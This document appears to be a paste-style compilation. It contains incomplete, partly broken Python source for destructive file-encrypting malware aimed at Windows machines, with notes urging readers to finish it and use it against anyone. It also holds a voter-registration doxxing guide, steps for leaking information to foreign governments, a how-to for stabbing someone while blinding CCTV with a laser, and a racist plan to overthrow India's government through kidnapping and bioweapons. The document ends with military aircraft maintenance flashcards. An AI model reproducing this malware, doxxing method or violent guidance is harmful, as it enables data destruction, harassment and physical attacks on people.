https://www.youtube.com/watch?v=A9ZzWZezNHg
https://en.wikipedia.org/wiki/Millennium_Challenge_2002
===============================
### # # ####### ####### #
# ## # # # #
# # # # # # #
# # # # # ##### #
# # # # # # #
# # ## # # #
### # # # ####### #######
Python Cyberweapon Concept Source Code:
# supply file extensions to encrypt
# grab all files from machine and put them in a list
# encrypt all files in file list
# copy virus over to other computers through lan
# encrypt exe files
import os
import random
# File extensions to encrypt
encrypted_ext = ('.txt', '.csv', '.pdf', '.zip', '.reg', '.png', '.doc', '.jpg', '.html', '.mp3', '.mp4', '.avi', '.wav', '.xls', '.vbox', '.vhd', '.wbk', '.xlsx', '.aspx', '.cab', '.cad', '.blend', '.gif', '.ini', '.iso', '.msi', '.wpd', '.xps', '.aud', '.odt', '.jar', '.java', '.dll', '.biar', '.wid', '.vnc', '.cam', '.ssh')
# Grab all files from the machine
file_paths = []
for root, dirs, files in os.walk('C:\\'):
for file in files:
file_path, file_ext = os.path.splitext(root+'\\'+file)
if file_ext in encrypted_ext:
file_paths.append(root+'\\'+file)
# generate key
key = ''
encryption_level = 128 // 8
char_pool = ''
for i in range(0x00, 0xFF):
char_pool += (chr(i))
for i in range(encryption_level):
key += random.choice(char_pool)
# Encrypt the files
def encrypt(key):
while q.not.empty:
file = q.get ()
index = 0
max_index = encryption_level - 1
try:
with open(file, 'rb') as f:
data = f.read()
with open(file, 'wb') as f:
for byte in data:
xor_byte = byte ^ ord(key[index])
f.write(xor_byte.to_bytes(1, 'little'))
if index >= max_index:
index = 0
else:
index += 1
except:
print(f'Failed to encrypt {file}')
q.task_done()
q = Queue()
for file in file_paths:
q.put(file)
for i in range(30):
thread = Thread(target=encrypt, daemon=True)
thread.start()
q.join()
print ('Encryption was successful.')
# spread the executable via lan to other computers
# later encryption of the executables
encrypted_ext = ('.exe')
# Grab all files from the machine again
file_paths = []
for root, dirs, files in os.walk('C:\\'):
for file in files:
file_path, file_ext = os.path.splitext(root+'\\'+file)
if file_ext in encrypted_ext:
file_paths.append(root+'\\'+file)
# Encrypt the files yet again
def encrypt(key):
while q.not.empty:
file = q.get ()
index = 0
max_index = encryption_level - 1
try:
with open(file, 'rb') as f:
data = f.read()
with open(file, 'wb') as f:
for byte in data:
xor_byte = byte ^ ord(key[index])
f.write(xor_byte.to_bytes(1, 'little'))
if index >= max_index:
index = 0
else:
index += 1
except:
print(f'Failed to encrypt {file}')
q.task_done()
q = Queue()
for file in file_paths:
q.put(file)
for i in range(30):
thread = Thread(target=encrypt, daemon=True)
thread.start()
q.join()
print ('Encryption of executables was successful.')
Notes:
- This python script is incomplete. It requires AES-256 encryption capabilities and the code needed for it to spread.
- This would make a powerful python ransomware but that is not the intention of D27.
- D27 exists to encrypt virtually all files of importantance on a Windows computer.
- It was written with Python 3.7 in Visual Studio.
- D27 would permanently encrypt most files, copy itself over via LAN and then re-encrypt everything else after spreading.
- D27 would be in .exe format
- This is a true encryption malware. Ransomware is fucking gay. The most chaos occurs when governments and infrastructure lose absolutely everything.
- This information is being released so that anyone may modify it and get it in working order to use it against anyone.
- If you get it working, take full credit and raise hell! I wash my hands of this now and release my creation on its way to greatness.
Made By Δ° - ?????????
===============================
####### # # ####### ####### ###### ### # #
# # # # # # # # # # # #
# # # # # # # # # # # #
# # # # # # ###### # # # #
# # # # # # # # # ####### #
# # # # # # # # # # # #
# ##### # ####### # # ### # # #######
How To Dox Anyone With Their Voter Registration:
Step 0) Use NordVPN
Step 1) Get A Person's Name and DOB. You may need their Driver's License # (But, most likely not):
Step 2) Enter it into any of these sites below
Step 3) Write down their information
Step 4) Leave via logout or change their ballot (Dude, just leave)
Voter Registration/Online Ballot Sites For All 50 States:
Alabama: https://myinfo.alabamavotes.gov/VoterView/PollingPlaceSearch.do
Alaska: https://webapp.state.ak.us/electionsLookup/JSP/VoterLookupMain.jsp
Arizona: https://voter.azsos.gov/VoterView/PollingPlaceSearch.do
Arkansas: https://www.voterview.ar-nova.org/VoterView/RegistrantSearch.do
California: http://www.sos.ca.gov/elections/find-polling-place.htm
Colorado: https://www.sos.state.co.us/voter-classic/secuVoterSearch.do?transactionType=voterSearch
Connecticut: http://www.dir.ct.gov/sots/LookUp.aspx
Delaware: https://ivote.de.gov/voterlogin.aspx
District of Columbia: https://www.dcboee.org/voter_info/reg_status/
Florida: http://registration.elections.myflorida.com/CheckVoterStatus
Georgia: http://www.mvp.sos.ga.gov/
Hawaii: https://elections2.hawaii.gov/ppl/
Idaho: http://idahovotes.gov/YourPollingPlace/WhereDoIVote.aspx
Illinois: http://www.elections.il.gov/VotingInformation/RegistrationLookup.aspx
Indiana: https://indianavoters.in.gov/PublicSite/Public/FT1/PublicLookupMain.aspx?Link=Polling
Iowa: https://sos.iowa.gov/elections/VoterReg/RegToVote/search.aspx
Kansas: https://myvoteinfo.voteks.org/VoterView/RegistrantSearch.do
Kentucky: https://vr.sos.ky.gov/vic/
Louisiana: https://voterportal.sos.la.gov/voter.aspx
Maine: http://www.maine.gov/portal/government/edemocracy/lookup_voter_info
Maryland: https://voterservices.elections.maryland.gov/PollingPlaceSearch
Massachusetts: http://www.wheredoivotema.com/bal/myelectioninfo.aspx
Michigan: https://webapps.sos.state.mi.us/mivote/
Minnesota: https://mnvotes.sos.state.mn.us/VoterStatus.aspx
Mississippi: http://www.sos.ms.gov/pollingplace/Pages/default.aspx
Missouri: http://www.sos.mo.gov/elections/pollingplacelookup/
Montana: https://app.mt.gov/cgi-bin/voterinfo/voterinfo.cgi
Nebraska: https://www.votercheck.necvr.ne.gov/VoterView/RegistrantSearch.do
Nevada: https://nvsos.gov/votersearch/
New Hampshire: http://cfs.sos.nh.gov/app/Public/PollingPlaceSearch.aspx
New Jersey: https://voter.njsvrs.com/elections/polling-lookup.html
New Mexico: https://voterview.state.nm.us/VoterView/RegistrantSearch.do
New York: https://voterlookup.elections.state.ny.us/VoterSearch.aspx
North Carolina: http://www.ncsbe.gov/webapps/pollingplace_search/
North Dakota: https://vip.sos.nd.gov/wheretovote.aspx
Ohio: http://www.sos.state.oh.us/SOS/upload/elections/voterquery.aspx?page=4763
Oklahoma: https://services.okelections.us/voterSearch.aspx
Oregon: https://secure.sos.state.or.us/orestar/vr/showVoterSearch.do
Pennsylvania: https://www.pavoterservices.state.pa.us/Pages/VoterRegistrationStatus.aspx
Puerto Rico: http://ceepur.org/es-pr/Paginas/default.aspx
Rhode Island: https://sos.ri.gov/vic/
South Carolina: https://info.scvotes.sc.gov/eng/voterinquiry/VoterInformationRequest.aspx?PageMode=VoterInfo
South Dakota: https://sos.sd.gov/Elections/VIPLogin.aspx
Tennessee: https://tnmap.tn.gov/voterlookup/
Texas: https://team1.sos.state.tx.us/voterws/viw/faces/Introduction.jsp
US Virgin Islands: http://www.vivote.gov/content/frequently-asked-questions
Utah: http://vote.utah.gov/vote/menu/index
Vermont: http://election.usa.cc/where-to-vote-in-the-vermont-2014-general-elections/
Virginia: https://voterinfo.sbe.virginia.gov/PublicSite/Public/FT2/PublicPollingPlace.aspx
Washington: https://voter.votewa.gov/WhereToVote.aspx
West Virginia: https://apps.sos.wv.gov/elections/voter/find-polling-place.aspx
Wisconsin: https://myvote.wi.gov/
Wyoming: http://soswy.state.wy.us/Elections/PollPlace/Default.aspx
Notes:
Thank you, Democrats for allowing people on VPNs to dox everyone with just a name and date of birth in Blue States.
Thank you, BPro for making US elections and voter information vulnerable as fuck
===============================
####### # # ####### ####### ###### ### # #
# # # # # # # # # # # #
# # # # # # # # # # # #
# # # # # # ###### # # # #
# # # # # # # # # ####### #
# # # # # # # # # # # #
# ##### # ####### # # ### # # #######
How To Send Information To Russia, China, Iran and North Korea:
1. Get some juicy deets.
2. Get on Tor or a VPN.
3. Go to en.kremlin.ru
4. Write the Office Of The President, using the webform.
5. Select "President of The Russian Federation"
6. Send the letter.
7. Get on a darknet email like SecMail.
11. Sit back and relax.
Post it everywhere you can, here are some paste sites below
doxbin.org
pastie.org
pastebin.pl
pastefs.com
pastecloud.net
paste.ee
privatebin.net
justpaste.me
0bin.net
hastebin.com
ghostbin.co
ybin.me
rentry.co
dumpz.org
dpaste.com
controlc.com
paste.scratchbook.ch
pastebin.ulvis.net
paste.merkoba.com
depastedihrn3jtw.onion (requires tor browser)
FUCK PASTEBIN & FUCK SKIDBIN. FUCK RAIDFORUMS.
===============================
####### # # ####### ####### ###### ### # #
# # # # # # # # # # # #
# # # # # # # # # # # #
# # # # # # ###### # # # #
# # # # # # # # # ####### #
# # # # # # # # # # # #
# ##### # ####### # # ### # # #######
How One Could Commit Stabbing/Cutting In The United Kingdom And Avoid Jail - 100% Success Rate
You Will Need:
- Eagle Pair 190-540nm OD6 Laser Safety Goggles
- A 1 watt 445nm blue laser pointer
- A black ski mask with a black hoodie, black pants and some black shoes. Most importantly, WEAR BLACK LEATHER GLOVES.
- A knife, preferably fixed blade with a sheath that can be washed in laundry. Ask yourself: Do you really want to fuck around with a pocket knife, at night, with orange goggles on your fucking face? NO.
I recommend this kind of knife for slashing: https://www.ebay.com/itm/363152231608?hash=item548d8f4cb8:g:D-IAAOSw8NtfkxV~&var=632308286449
I recommend a double edged for stabbing: https://www.ebay.com/itm/294192449883?epid=8012074976&hash=item447f3c895b:g:scMAAOSwSs9grCSX
0) Learn laser safety. After you learn, avoid aiming at water, white objects, metal, mirrors, glass, yourself, pets or loved ones. Wear your goggles at all times you handle the laser.
1) Put on your laser safety goggles and take your laser and your knife with you.
2) Burn the CCTV cameras with your laser. You can also use a laser to turn off street lights
3) Blind the person you're gonna stab
4) Stab the shit out of that motherfucker, with your gloves on.
5) Sheath your knife (NOT WHILE RUNNING YOU DUMB FUCK) and get the fuck out of there.
===============================
####### # # ####### ####### ###### ### # #
# # # # # # # # # # # #
# # # # # # # # # # # #
# # # # # # ###### # # # #
# # # # # # # # # ####### #
# # # # # # # # # # # #
# ##### # ####### # # ### # # #######
How The Overthrow Of The Indian Government Could Possibly Happen
India has a caste system that is heavily oppressive to the darker and poorer Desi/Tamil peoples, while the lighter, more Indo-Iranic looking ones who are more well off in the North are perceived as more beautiful and superior. India is very corrupt and also very poor. How a nation like India or Pakistan got nukes with their extremely low average IQs and shithole status, I will never know. Hurt feelings aside, there are many ways, you, the reader, can overthrow this system for money, power, control or freedom, by following these steps:
1) Indians worship the Brahmin. This means they venerate the cow. If you killed a cow in India, you will likely be fucked up. Noting this, never try to sell a burger in India. You will die. I say that to say this: If you're planning on overthrowing the Indian government and taking over India, all you have to do is take cows as living shields and rush the parliament when it is in session. Keep cows with you at all times alive and well fed. This will cause them to be less likely to shoot. Dead serious. Train your cows to be calm when guns are fired nearby. Fire a lot of guns near the cows grazing areas so that they become acclimated and down fear the sounds. During your operations, use cows for transport. Provide them a role like mobilization of equipment and also protective armor. But if you can't tell a cow from a bull, ox or goat and you bring the wrong shit, you're fucked.
2) Appeal to the lower castes in order to start a Communist revolution. Mainland China will definitely support this, considering their politics and their recent border clashes with India. It is an efficient strategy to settle affairs in one theatre before China starts in the South China Sea with Taiwan, Japan and Australia. If China can avoid a fight on multiple fronts, they will avoid spreading too thin. This averts a logistical nightmare. Use it to your advantage while you are running around with cows.
3) Appeal to Muslims to start a Muslim revolution to overthrow the Hindu government in favor of a Muslim government, with the intention of reunification with Pakistan or peace with Pakistan. Be mindful this might gain India some enemies and/or reunification may not even be wanted.
4) Turn Mauritius against India. Agalega has a lot of oil. With this in mind, India would like to control this oil and the Mascarene Islands. If Mauritius politicians no longer support India, India will have lost yet another advantage.
5) Cyberwarfare. A lot of Indians go into coding, programming, tech support. If the lower castes became hackers and created malware and went after the government, they could plunge India into an economic crisis which would make conditions ripe for social unrest. Your objective should be to cause state collapse via economic crisis.
6) EFW - Electric Power, Food Production, Water Treatment - Every nation without this is a warzone.
7) Dox all the Indian generals + key military and kidnap their family members
8) If you do #7, this will likely incite the military to overthrow the government.
9) COVI9-19 has virtually expended India's health resources. Bioweapons would destroy India.
===============================
### # # ####### ####### #
# ## # # # #
# # # # # # #
# # # # # ##### #
# # # # # # #
# # ## # # #
### # # # ####### #######
U.S. Armed Forces Nuclear And Aircraft Information From Chegg And Quizlet (Including The MQ-9 Reaper Drone):
Chegg Archives:
https://archive.is/HUMt2 - Nuclear Launch Facility Terminology Glossary
https://archive.is/yQi1v - Furnas CDC Vol 2
https://archive.is/36nTd - PAS/WS3 Info
https://archive.is/huJLv
https://archive.is/c1mEn - Nuclear Air Bases
https://archive.is/v5ZVd - Acronyms
https://archive.is/Waxcy
https://archive.is/ZiweD - Nuclear Info
https://archive.is/PBP32 - CDC LVL 7
Titles of the following flashcards are at
https://archive.is/ajMrh
https://archive.is/D7KTp
https://archive.is/jHJxw
https://archive.is/eJX94
The A-10 fuselage components that redistribute loads around cutouts and provide redundant load paths are auxiliary longerons.
To prevent potential tank explosion during combat, the A-10's integral fuel tanks are filled with polyurethane foam.
The danger associated with a functioning lift transducer on the A-10 is extreme heat.
After engine shutdown, A-10 engine exhaust areas are considered hazardous for 15 minutes
The A-10 main landing gear strut component that transmits torque loads from the wheel to the strut cylinder is the torque arms.
On the A-10, the main landing gear uplock cylinder hydraulically releases the uplock hooks.
The number of fusible plugs incorporated in each A-10 main landing gear wheel is three.
The A-10 nose wheel steering is initiated in the commanded direction by the movement of the rudder pedals in conjunction with a steering command signal generated by the position transducer potentiometer.
If electrical power is lost, the operable A-10 nose wheel steering mode is damper-caster.
The brake system of the A-10 consists of a normal, an emergency, and an anti-skid system
Should the left and right hydraulic systems fail, emergency braking power for the A-10 is provided by an accumulator.
The A-10 anti-skid caution light on the A-10 comes on when the system is disengaged.
On the A-10, hydraulic pressure from the left system is directed to the nose drag strut actuators by the landing gear control valve.
During auxiliary landing gear extension on the A-10, the left hydraulic system reservoir bootstrap pressure is ported to the return.
The position the A-10 feel and trim devices provide the stick to represent any trim set into the elevator actuator is neutral (zero load).
The components of the A-10 pitch and roll flight control systems that free the control stick from a control path jam are the pitch and roll disconnectors.
The actuator type A-10 speed brakes use is unbalanced pistons.
The number of hydraulic power supply systems on the A-10 is two.
The two components that make up the A-10 hydraulic power supply package are the bootstrap hydraulic reservoir and supply module.
The A-10 hydraulic system component that allows fluid to pass to and charge the accumulator is the balanced relief valve.
When hydraulic pressure is not being supplied by the auxiliary power unit (APU), small amounts of hydraulic fluid are directed to the APU-driven hydraulic pump from the right hydraulic reservoir.
You reset the A-10 hydraulic filter differential pressure (<IMG SRC="images\TRIANGLE.BMP">P) indicator after it has actuated by removing the filter bowl, inverting it, and depressing the button.
The percentage of engine thrust the A-10's TF34-GE-100A engine fan bypass stream accounts for is 85.
The number of ignitors installed on the combustor of the A-10's TF34-GE-100A engine is two.
Continuous oil flow is supplied to the number three bearing of the A-10's TF34-GE-100A engine during zero- or negative-G maneuvers by the auxiliary lubrication system.
On the A-10's fire extinguishing system, the fire extinguishing discharge switch is a three-position, double-throw, center-off toggle switch.
The A-10's fire extinguisher container fired when the extinguisher discharge switch is placed to the right is the forward.
The A-10's external tank fuel feed system component that prevents the external tank from collapsing when the air pressure within the tank is less than the ambient pressure is the negative pressure relief valve.
The interface between the A-10's external fuel tanks and pylon-refueling manifold is provided by the fuel disconnects.
The A-10's fuel system component that diffuses the fuel spray to reduce static buildup caused by the fuel pouring into the fuel tanks during refueling is the piccolo tube.
The component that allows verification of the operational status of the A-10's refueling system is the test box assembly.
The A-10 can be refueled in flight by a tanker aircraft equipped with a flying boom.
The A-10's integrated drive generator oil supply circuit component that attracts ferrous metals particles is the magnetic chip detector.
The external power monitor on the A-10 measures the frequency, voltage, and phase sequence of external AC power applied to the aircraft and determines whether the power is compatible with the aircraft electrical system.
The A-10's DC electrical system component that is an air-cooled transformer-rectifier is the converter.
The A-10's emergency power system consists of a battery and a(n) inverter.
The two exterior lights mounted as an assembly on the wingtips of the A-10 are the anti-collision and position.
The nose illumination lights on the A-10 are used for in-flight refueling.
The oxygen regulator supply lever on the A-10 is green.
During inhalation, the A-10's oxygen regulator flow indicator should show white.
-------------------------------
The four mount pads on the U-2 center section, aside from being attach points for the RG130 ground handling cart, are used for aircraft tie down.
The aft portion of the U-2 canopy is coated with four coats of paint to combat solar radiation and glare.
To signal that the emergency start system has been activated in flight, the pilot of a U-2 turns on the main landing gear lights.
The automated weight and balance program used on the U-2 is maintained by quality assurance.
All items, not part of the basic weight, installed on the U-2 aircraft are recorded on the AFTO Form 781C, Avionics Configuration and Load Status Document.
The U-2 aircraft's automated weight and balance programs daily data is gathered from the AFTO Form 781C
The main landing gear strut on the U-2 is constructed of titanium.
The auxiliary landing gear on the U-2 are called pogos.
If total hydraulic failure occurs on the U-2, the number of full brake applications the emergency brake accumulator supplies hydraulic pressure for is five.
During normal landing gear extension on the U-2, the main landing gear actuator pressure buildup is delayed until the uplock actuator has unlocked the gear by a(n) orifice valve.
The U-2 ailerons are adjusted to the neutral position by a linear actuator connected to the left aileron tab.
On the U-2, you set the aileron trim tabs to neutral if they are slightly warped by aligning the tabs as close to the middle as possible.
The U-2 flight control system that reduces the wing and empennage structural loading during high speed or rough air operation by shifting both aileron wing surfaces and wing flaps upward is the gust control.
The wing flaps on the U-2 are controlled electrically.
The U-2 aircraft lift spoilers are used to assist in landing and descent from altitude.
On the U-2, the speed brakes are located on each side of the aft fuselage.
Except during system maintenance, the U-2 hydraulic reservoir should remain pressurized to eliminate the possibility of air and contaminants entering the system.
The U-2 hydraulic pump is allowed to vary the volume of fluid delivered to compensate for changes in demand by a(n) change in the angle between the yoke and pump shaft axis.
The hydraulic tubing for the U-2 horizontal stabilizer trim is color-coded to prevent cross-connection of lines during maintenance.
The allowable leakage for static seals on the U-2 is none.
The acceptable leakage for the flap dynamic seals on the U-2 is a few drops overnight.
The U-2 exhaust system consists of the tail pipe and fan flow adapter diverter.
The three operating modes of the U-2 aircraft mounted accessory drive are engine-starting, accessory drive, and subsystem checkout.
The U-2 cockpit indicator that provides an indication of high-pressure compressor rotor operation is the N2 RPM
When refueling the U-2, the fuel tank filled first is the fuselage sump.
The U-2's sump tank manifolds are checked for moisture during which inspection? Basic post flight.
The light that illuminates on the U-2 aircraft when the fuel sump reads 38 (±3) gallons remaining is the FUEL LEVEL LOW.
A momentary hammering sound when the U-2 fuel transfer valves are actuated is caused by air in the system.
The external DC power required to power the monitored AC bus contactor coil on the U-2 is provided through pin E of the external AC power receptacle.
The U-2 DC generator is cooled by ram air through the left engine air inlet.
The U-2 exterior lights consist of landing, anti-collision and navigation lights.
The navigation lights on the U-2 consist of a red light on the left wingtip, a green light on the right wingtip, and two clear lights on the upper vertical stabilizer.
It is critically important on the U-2 that you check the turbine bypass switch to prevent valve wear.
The number of liquid oxygen converters on the U-2 is two.
The U-2 technical manual section that provides you with a description of the aircraft, aircraft stations, access provisions, and drain and vent points is general information.
The headings of the U-2 troubleshooting tables are PROBABLE CAUSE, ISOLATION PROCEDURE, AND REMEDY.
Peculiar maintenance procedures exist for the U-2 because of the need to maintain its lightweight characteristics.
The reference that lists suitable substitutes for U-2 aircraft is the SP 1977, Engineering Standards Procurement Manual.
-------------------------------
The compression ratio of the RQ-1's Rotax 914F engine is 9.0:1.
The purpose of valve lead and valve lag in the valve mechanism used on the RQ-1 's reciprocating engine is to increase the volumetric efficiency and lower the temperature of the cylinder.
What type carburetors are installed on the RQ-1 's engine? 32-millimeter, constant depression, cross-draft butterfly valve.
On the RQ-1 's engine, oil is forced out of the sump in the crankcase and back to the oil reservoir by blow-by gases.
Ignition power for the spark plugs on the RQ-1's engine is provided by a dual breaker-less capacitive discharge ignition system.
Which spark plugs are driven by power box 1 in the RQ-1's engine ignition system? Top spark plugs in cylinders 1 and 2, and the bottom spark plugs in cylinders 3 and 4.
To disable ignition power box 1 when performing a test of ignition power box 2 in the RQ-1's ignition test circuit, ignition test relay 1 must be energized.
What type of mechanism is incorporated on the RQ-1 's variable pitch propeller assembly to facilitate or perform pitch movement of the propeller blades? Rack and pinion.
The RQ-1 is equipped with disc brakes actuated by electrical servos.
On the RQ-1, what is the range in degrees that the nose wheel steering operates from either side of center? 15.
Under normal conditions, the RQ-1's gear-retract servos stop driving the landing gear after a stop-detect signal is received or after driving for the maximum expected swing time.
The purpose of decambering the ailerons and flaps on the RQ-1 is to provide improved high-speed flight characteristics.
The component that algebraically adds simultaneous pitch and yaw commands to determine the required tail positions on the RQ-1 is the primary control module.
What type fuel tanks are used on the RQ-1? Rubberized fuel bladders mounted in the fuselage.
The fuel level sensors used in the RQ-1's fuel system are capacitance-type probes provided a 12-VDC reference voltage from the SCM.
When the RQ-1 's fuel system is in the normal operating mode, what are proper positions for the valves on the main and return fuel trays? Aft tank valve open on main fuel tray; aft tank valve open on return fuel tray.
What is the approximate front tank to back tank fuel ratio on the RQ-1? 3:2.
At what engine speed (in revolutions per minute [RPM]) does the starter/alternator automatically start acting as an alternator on the RQ-1? 1,600.
If the alternator on the RQ-1 fails, backup power is provided by two dry-cell nickel-cadmium batteries.
On the RQ-1, the payload power distribution module is used to power the primary control module and the components in the forward fuselage.
The feature on the RQ-1 which, through the primary control module, automatically switches the aircraft lights on is the Lights-Off Range.
The ice detector probe on the RQ-1 detects ice through a change in its resonant frequency.
-------------------------------
On the F-22, the weapons bay door drive slows doors prior to reaching travel limits to prevent damage to doors or airframe.
The two configurations the F-22 pylons are built for are ferry and combat.
The purpose of the AVEL on the F-22 is to stow and launch the AIM-120C.
The F-22 weapon system minimizes barrel erosion and heat generation; thus extending the life of the system by rotating the barrels.
The F-22 is provided pneumatic, hydraulic, and electrical power during emergencies and within operating envelope by the auxiliary power unit.
The two ways maintainers can start the F-22 APU are the portable maintenance aid and pilot vehicle interface.
When using the PMA to start the APU, the maintainer needs to verify the SES air pressure protective covers are removed and the APU shutdown switch is in NORM.
During ground shutdown the APU on the F-22 enters a cool-down cycle of 20 seconds.
The air turbine starter system, airframe mounted accessory drive, and power take-off shaft make up the F-22's auxiliary power accessory drive system.
The F-22's air recharge compressor provides air to the stored energy system bottles.
The air storage bottles on the F-22 provide air to the APU door actuation system and the emergency gear extension.
The SES on the F-22 uses aircraft fuel and high pressure air to power the APU gear box
Emergency gear swings and arresting gear operations effects the F-22 SES by reducing the number of starts.
On the F-22, how many pumps are attached to the AMAD? Four.
On the F-22, what in the lubrication system pressurizes the AMAD to 5 psi above ambient pressure? Air pump assembly.
The F-22 generator control units receive their power from the permanent magnet generator.
The main generator control units on the F-22 are cooled by what kind of air? Forced.
The interface between the electrical power system generators and the electrical power subsystem on the F-22 is the generator distribution center.
For temperature control, the F-22 uses bleed air, ram air, polyalphaolefin and fuel.
The F-22 system that dehumidifies the pre-cooled air utilizing a boot strapped compressor, turbine, and water collector is the refrigeration system.
The F-22 cockpit distribution and defog system provides air for the canopy seal, cockpit pressurization, canopy defog, and the pilots thermal cooling garment.
The back-up air supply for the F-22's forced air cooled avionics system is ram air.
The three methods for opening the F-22 canopy are normal, manual, and emergency.
The external canopy control switch on the F-22 is located in the nose wheel well.
Manual operation of the F-22 canopy with a high speed/low torque, non-impact type pneumatic or battery powered tool will open or close the canopy in less than three minutes.
How many minutes is the F-22 ejection seat emergency oxygen bottle capable of providing the pilot with oxygen for? 20.
In the avionics hardware architecture of the F-22, the item that sends information to the line replaceable units (LRU) is the common integrated processors.
The F-22's vehicle management system, utilities and subsystems, and the avionics system are all supported by the air vehicle software.
The primary integrated maintenance information tool used by F-22 technicians during the performance of maintenance task is the PMA.
All PMA screens are provided guaranteed communication through the trusted path menu.
The two major components that must be installed on the PMA for the F-22 are the battery pack and removable disk drive.
The F-22's PMA battery pack can increase the battery life in cold temperatures and facilitate effective charging of the battery with the use of an internal heater.
The function of the PMA that shows a listing of all discrepancies and warnings for a particular aircraft is the functional category of aircraft forms.
The F-22 support equipment that is built from predominantly commercial off the shelf items is the integrated management information system.
The system designed to be used in maintenance units, maintenance operation centers, and off equipment maintenance shop is MSU.
The F-22 component that communicates with the MSC and PMA to provide a single source of information to meet the requirements of maintenance personnel is the maintenance support workstation.
The F-22 MVI cable provides the electrical interconnect between the PMA and the aircraft.
Access to the required technical data is provided when the user selects the discrepancy they have been assigned to work.
The primary source for introducing the F-22's operational flight program is the portable maintenance aid.
The F-22 diagnostics are controlled by the global manager software.
The system the F-22 uses for avionics cooling during ground maintenance is PAO cooling cart.
It is important to keep the hydraulic test stand as far away as possible from the flight control travel path to prevent flight control surfaces from impacting the unit.
The stored energy system servicing carts surfaces remain hot after shutdown for up to how many minutes? 30.
The F-22 system component that provides all electrical interconnects between the vehicle management system modules and the aircraft wiring connectors is the backplane assembly.
The primary flight control surfaces, engine inlet bypass louvers, nose wheel steering, engine thrust and thrust vectoring all receive commands generated by the flight control computer.
The F-22 unit designed to detect and shutdown an over-voltage condition is the power supply module.
The F-22 program that deals with the computer software configuration for the respective aircraft system is operational flight.
Normal start and normal operating state are the two system operations of the integrated vehicle system controller.
When F-22 hydraulic pressure is lost the ailerons are aerodynamically centered.
The F-22 pitch system is augmented by thrust vector nozzles.
The three-position, momentary action, center off switch on the F-22 flight control system panel is for the yaw trim.
The landing gear handle controls flap settings when norm is selected on the F-22's flap alt switch.
F-22 lift augmentation is performed by leading edge flaps.
The F-22 leading edge flap position is based on AOA, Mach, and altitude information computed by the vehicle management system.
On the F-22, which valve allows aerial refuel flow to the aircraft plumbing and prevents flow in the reverse direction? Check.
The F-22's engine fan variable vanes position is controlled by an actuator.
The engine on the F-22 contains three assemblies; external hardware, supporting ring and the fan bypass ducts that are referred to as non-modular.
The F-22's engine lube system contains oil in the bearing compartment by using engine supplied compressor air.
The F-22's primary source of power for the full authority digital electric control, the comprehensive engine diagnostic unit, and the ignition exciters is the engine generator.
The F-22 program that acquires data for engine mission capability, on-board diagnostic system failures, propulsion data, and characterizing mission usage is the advanced engine failure resolution.
IMIS displays input screens to enable the maintainer to enter suspected fault identification codes.
The presence of an overheat on the F-22 is reported for display in the cockpit by the integrated vehicle subsystem controller.
The presence of a fire in the F-22 engine or APU compartments is reported to the fire protection module by the optical fire detection system.
On the F-22, what components take care of the on-board engine monitoring diagnostic functions? FADEC and CEDU.
Vibration, oil debris, oil level signals, along with condition monitoring and fault information, are stored in the F-22's resident memory of the CEDU.
The fan and compressor variable vanes, as well as the modulated exhaust cooling and exhaust nozzle all make up the F-22's engine variable geometry system.
The F-22 engine monitoring system uses how many temperature sensors? 3.
On the F-22, what is the output pressure for the hydraulic system's pumps? 4050 to 4150 psi.
On the F-22 hydraulic system, what service coupling quick-disconnect provides an alternate method to fill the hydraulic reservoir? Return ground service.
On the F-22, what prevents the maintainer from installing the filter bowl without a filter element inside? Spring-loaded lever.
On the F-22 hydraulic control software monitors, the hydraulic system is hosted by the IVSC.
On the F-22, what performs the BIT on the hydraulic components? Software.
On the F-22, the pressure transducer operates over a pressure range of 0 to 5000 psig.
On the F-22, what provides the maintainer an indication that the filter element requires replacement? Differential pressure indicator.
The mode on the F-22 that uses the pneumatic backup system to pressurize the unlock devices to release the landing gear for extending and locking it in the extended position is emergency flight.
On the F-22, a base plate and two interchangeable brake modules make up what valve? Brake control.
On the F-22, the wheels and tires are protected from excessive brake heat by a heat shield made out of stainless steel.
The F-22 nose wheel may normally be turned up to 48 depending on main landing gear wheel speed
In the F-22 nose-wheel steering system, what valve allows free castering of the nose wheel? Control.
The F-22 arresting gear system is pneumatically actuated and controlled electrically.
The F-22 inspection that is accomplished within six hours of launch and only if the preflight is over 48 hours but still valid is the walk around inspection.
Outer mold line inspection will be accomplished on the F-22 when maintenance notices low observable damage.
On the F-22, the responsibility for all low observable maintenance rests with the aircraft structural maintenance.
The purpose of the SAS is to outline the repair and restoration process, reliability and maintainability data collection, and time accounting for managing the F-22's low observable system
-------------------------------
flashpoint of JP-5? Nato code? 140F F-44
flashpoint of JP-8? Nato code? 100F F-34
flashpoint of JP-4? nato code? Below 0F F-40
Flashpoint of Jet-A? nato code? 100F NONE
How long must fuel settle before fuels samples can be taken? 2 hours
How many fuel sample ports and locations? 11 total, 1 each wing, 1 nose, 3 each MLG, 1 each aft fuselage
Pub for fuel surveillance? NAVAIR 000-80T-109 CH 9/ 4790.2C CH 10
Bad fuel sample procedures? keep sample, drain a gallon if still contaminated notify maint. control and take sample to QA
How long is a fuel sample good for? 24 hours
Max psi for refueling? Hot? Cold? 60 PSI BOTH
Which fuel sample port os the boundary water drain port? F5 tanks and wing tanks
Winds above how many knots must the canopy be closed? Stationary? 60 knots
Winds above how many knots must the canopy be closed? When towing? 45 knots
Manual drain valve location? Starboard FWD MLG inboard
Horizontal=defuel Vertical=refuel
Pressure of the MLG tires Afloat and Ashore? ashore: 255-265 psi
afloat: 340-360 psi
Pressure of the NLG tire Afloat and Ashore? ashore: 294-314 PSI
afloat: 365-385 PSI
How to approach hot brakes? 10-15 aft or fwd of brakes (come at an angle)
How to remove ice from canopy? 90% deionized water with 10% cleaning solvent
Pub for A/C surface cleaning? NAVAIR 01-1A-509-2
Purpose of LO? reduce radar, thermal, acoustical and visual signature
Opening canopy manually? Manual canopy unlock lever located in door 1111, turn speed handle 740 times in NLG
How many grounding points and where? 4, one in each MLG, 2107, 2108
How many lower holes in K seal? 146 holes
Name of the sensors in the intake? TT2 sensors (total temperature sensors)
IPP exhaust location and panel #? upper portside aft fuselage; panel 4101
Chains used to tie down A/C in weather conditions? Normal? Moderate? Heavy? Ashore? Afloat? Normal Moderate Heavy
ashore: 6 8 24
afloat: 8 9 39
POS, BOS, IOS good for? POS: 72 hours
BOS: 24 hours
IOS: 12 hours
# of tie down points? 8 total
Procedures for bleeding out air from the boot strap reservoir? Take dust cap off, drain into container, if bleeds for more than 5 sec its bad
safe zones for exhaust eat idle, mil, max? idle: 50 ft Mil: 100 ft Max: 200 ft
What to do for fuel leak less than 5 gal? secure the source, tell saint, get PPE, start cleaning
